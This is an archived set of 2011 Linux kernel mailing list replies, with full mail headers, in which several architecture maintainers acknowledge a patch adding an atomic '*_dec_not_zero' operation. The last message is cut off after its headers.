        "linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
To: Sven Eckelmann <sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Wed May 04 12:49:18 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1QHZdu-0006Cw-Db
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 04 May 2011 12:49:18 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p44An2Jh025957;
	Wed, 4 May 2011 06:49:03 -0400
Original-Received: from anubis.se.axis.com (anubis.se.axis.com [195.60.68.12])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p44AmrSq025909 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Wed, 4 May 2011 06:48:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by anubis.se.axis.com (Postfix) with ESMTP id E9AD819DC6;
	Wed,  4 May 2011 12:48:47 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at anubis.se.axis.com
Original-Received: from anubis.se.axis.com ([127.0.0.1])
	by localhost (anubis.se.axis.com [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id tgeP7vRDzl5S; Wed,  4 May 2011 12:48:47 +0200 (CEST)
Original-Received: from seth.se.axis.com (seth.se.axis.com [10.0.2.172])
	by anubis.se.axis.com (Postfix) with ESMTP id 2D0C919D9A;
	Wed,  4 May 2011 12:48:45 +0200 (CEST)
Original-Received: from silver.se.axis.com (silver.se.axis.com [10.88.4.3])
	by seth.se.axis.com (Postfix) with ESMTP id EF5EF3E13C;
	Wed,  4 May 2011 12:48:45 +0200 (CEST)
Original-Received: from silver.se.axis.com (localhost [127.0.0.1])
	by silver.se.axis.com (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p44AmjRg024638; Wed, 4 May 2011 12:48:45 +0200
Original-Received: (from jespern@localhost)
	by silver.se.axis.com (8.14.3/8.14.3/Submit) id p44AmfPQ024637;
	Wed, 4 May 2011 12:48:41 +0200
Content-Disposition: inline
In-Reply-To: <1304458235-28473-1-git-send-email-sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5409 gmane.linux.kernel.cross-arch:9702 gmane.linux.ports.mips.general:30899 gmane.linux.ports.m68k:2254 gmane.linux.ports.ia64:21633 gmane.linux.ports.parisc:3684 gmane.linux.ports.sh.devel:10913 gmane.linux.kernel:1135170 gmane.linux.ports.alpha:1411 gmane.linux.ports.sparc:14851 gmane.linux.ports.ppc64.devel:74043 gmane.linux.ports.arm.kernel:115880
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5409>

On Tue, May 03, 2011 at 11:30:35PM +0200, Sven Eckelmann wrote:
> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.

For the CRIS-part:

Acked-by: Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson-VrBV9hrLPhE@public.gmane.org

From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 12:02:07 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20110504110207.GA4243@linux-mips.org>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304506904 32226 80.91.229.12 (4 May 2011 11:01:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 11:01:44 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-m68k-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Chris Metcalf <cmetcalf-kv+TWInifGbQT0dZR+AlfA@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Sven Eckelmann <sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Wed May 04 13:01:37 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1QHZpm-0004UV-5U
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 04 May 2011 13:01:34 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p44B1LpX027601;
	Wed, 4 May 2011 07:01:22 -0400
Original-Received: from duck.linux-mips.net (h5.dl5rb.org.uk [81.2.74.5])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p44B1EGs027597 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Wed, 4 May 2011 07:01:20 -0400
Original-Received: from duck.linux-mips.net (duck.linux-mips.net [127.0.0.1])
	by duck.linux-mips.net (8.14.4/8.14.3) with ESMTP id p44B2BXU005150;
	Wed, 4 May 2011 12:02:12 +0100
Original-Received: (from ralf@localhost)
	by duck.linux-mips.net (8.14.4/8.14.4/Submit) id p44B27JV005143;
	Wed, 4 May 2011 12:02:07 +0100
Content-Disposition: inline
In-Reply-To: <1304458235-28473-1-git-send-email-sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5410 gmane.linux.kernel.cross-arch:9703 gmane.linux.ports.mips.general:30900 gmane.linux.ports.m68k:2255 gmane.linux.ports.ia64:21634 gmane.linux.ports.parisc:3685 gmane.linux.ports.sh.devel:10914 gmane.linux.kernel:1135171 gmane.linux.ports.alpha:1412 gmane.linux.ports.sparc:14852 gmane.linux.ports.ppc64.devel:74044 gmane.linux.ports.arm.kernel:115881
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5410>

On Tue, May 03, 2011 at 11:30:35PM +0200, Sven Eckelmann wrote:

>  arch/mips/include/asm/atomic.h     |    2 ++
>  arch/mips/include/asm/local.h      |    1 +

Acked-by: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>

  Ralf

From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 04 May 2011 12:53:19 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 11
Approved: news@gmane.org
Message-ID: <20684.1304509999@redhat.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304510060 18460 80.91.229.12 (4 May 2011 11:54:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 11:54:20 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-m68k-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Chris Metcalf <cmetcalf-kv+TWInifGbQT0dZR+AlfA@public.gmane.org>, dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
        linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Sven Eckelmann <sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Wed May 04 13:54:13 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1QHaee-0001c0-6M
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 04 May 2011 13:54:08 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p44BrtJw002260;
	Wed, 4 May 2011 07:53:56 -0400
Original-Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p44BrkOE002240 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Wed, 4 May 2011 07:53:52 -0400
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com
	(int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p44BrZVY020695
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 4 May 2011 07:53:35 -0400
Original-Received: from redhat.com ([10.3.112.17])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP
	id p44BrKwt021393; Wed, 4 May 2011 07:53:21 -0400
In-Reply-To: <1304458235-28473-1-git-send-email-sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5411 gmane.linux.kernel.cross-arch:9704 gmane.linux.ports.mips.general:30901 gmane.linux.ports.m68k:2256 gmane.linux.ports.ia64:21635 gmane.linux.ports.parisc:3686 gmane.linux.ports.sh.devel:10915 gmane.linux.kernel:1135196 gmane.linux.ports.alpha:1413 gmane.linux.ports.sparc:14853 gmane.linux.ports.ppc64.devel:74045 gmane.linux.ports.arm.kernel:115884
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5411>

Sven Eckelmann <sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org> wrote:

> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.
> 
> Reported-by: David S. Miller <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
> Signed-off-by: Sven Eckelmann <sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>

Acked-by: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> [MN10300 and FRV]

From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Metcalf <cmetcalf@tilera.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 08:09:16 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <4DC141EC.5050406@tilera.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304511002 24271 80.91.229.12 (4 May 2011 12:10:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 12:10:02 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>,
	David Howells <dhowells@redhat.com>, <x86@kernel.org>,
	<linux-alpha@vger.kernel.org>,
	<linux-arm-kernel@lists.infradead.org>,
	<uclinux-dist-devel@blackfin.uclinux.org>,
	<linux-cris-kernel@axis.com>, <linux-ia64@vger.kernel.org>,
	<linux-m32r@ml.linux-m32r.org>, <linux-m68k@lists.linux-m68k.org>,
	<linux-mips@linux-mips.org>, <linux-am33-list@redhat.com>,
	<linux-parisc@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
	<linux-s390@vger.kernel.org>, <linux-sh@vger.kernel.org>,
	<sparclinux@vger.kernel.org>, <linux-arch@vger.kernel.org>
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 04 14:09:41 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QHatf-0003XJ-SK
	for glk-linux-kernel-3@lo.gmane.org; Wed, 04 May 2011 14:09:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754578Ab1EDMJX (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 4 May 2011 08:09:23 -0400
Original-Received: from usmamail.tilera.com ([206.83.70.75]:62371 "EHLO
	USMAMAIL.TILERA.COM" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754533Ab1EDMJW (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 4 May 2011 08:09:22 -0400
Original-Received: from [127.0.0.1] (24.34.76.130) by USMAExch2.tad.internal.tilera.com
 (10.3.0.33) with Microsoft SMTP Server id 14.0.694.0; Wed, 4 May 2011
 08:09:20 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1135197 gmane.linux.ports.alpha:1414 gmane.linux.ports.arm.kernel:115885 gmane.linux.hardware.blackfin.kernel.devel:5412 gmane.linux.ports.ia64:21636 gmane.linux.ports.mips.general:30902 gmane.linux.ports.parisc:3687 gmane.linux.ports.ppc64.devel:74046 gmane.linux.ports.sh.devel:10916 gmane.linux.ports.sparc:14854 gmane.linux.kernel.cross-arch:9705
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1135197>

On 5/3/2011 5:30 PM, Sven Eckelmann wrote:
> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.
>
> Reported-by: David S. Miller <davem@davemloft.net>
> Signed-off-by: Sven Eckelmann <sven@narfation.org>
> [...]
>  arch/tile/include/asm/atomic.h     |    9 +++++++++
>  arch/tile/include/asm/atomic_32.h  |    1 +

Acked-by: Chris Metcalf <cmetcalf@tilera.com>

-- 
Chris Metcalf, Tilera Corp.
http://www.tilera.com



From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 14:17:51 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <BANLkTi=kRLxKS417xhaWDpF4h8+VTcUQQA@mail.gmail.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1304511485 27337 80.91.229.12 (4 May 2011 12:18:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 12:18:05 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, David Howells <dhowells@redhat.com>,
	Chris Metcalf <cmetcalf@tilera.com>, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed May 04 14:17:57 2011
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1QHb1g-0000du-VG
	for glpi-linux-ia64-2@lo.gmane.org; Wed, 04 May 2011 14:17:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753715Ab1EDMRz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 4 May 2011 08:17:55 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:61152 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751699Ab1EDMRx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 4 May 2011 08:17:53 -0400
Original-Received: by bwz15 with SMTP id 15so912333bwz.19
        for <multiple recipients>; Wed, 04 May 2011 05:17:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=3ERi4Yv6QUYVc9R1ygD5GOUKWvs/8X1wolS/oEDmci8=;
        b=rWTmL+qKC4a25Wby1kavCPeOcCVKBrRxXfruVvrbhM0WbjKQEJr8suEL3oJd9CI4UN
         C1VBQchDRocSM98CXvhG8cXSI0pNApuOzFUcd2zth2iSdh906QIiqzjVlCFkQbT22ah9
         olopGzojadjlBa+DpwOwDi+Da8mISa3qcH1zc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=f51yaEtpSAU1uXzB0uFikDTsnRzdJs5qeoBFJ5G46lBryxBVESllgxJ3ZNW0Tan/30
         1dmZ9s/ahKafyMpm9XKTENrhqMALkR6UFzVX28gXJnkjoy7fqlHCrm2AjpBDIgygAIss
         gHankU5bqAHPFjeMQJXbuN2/GnUfHN4qWjxyk=
Original-Received: by 10.204.0.82 with SMTP id 18mr1025272bka.100.1304511471362; Wed,
 04 May 2011 05:17:51 -0700 (PDT)
Original-Received: by 10.204.126.154 with HTTP; Wed, 4 May 2011 05:17:51 -0700 (PDT)
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
X-Google-Sender-Auth: 52Q_K_1bwIVJ1s18yumwIOjW098
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
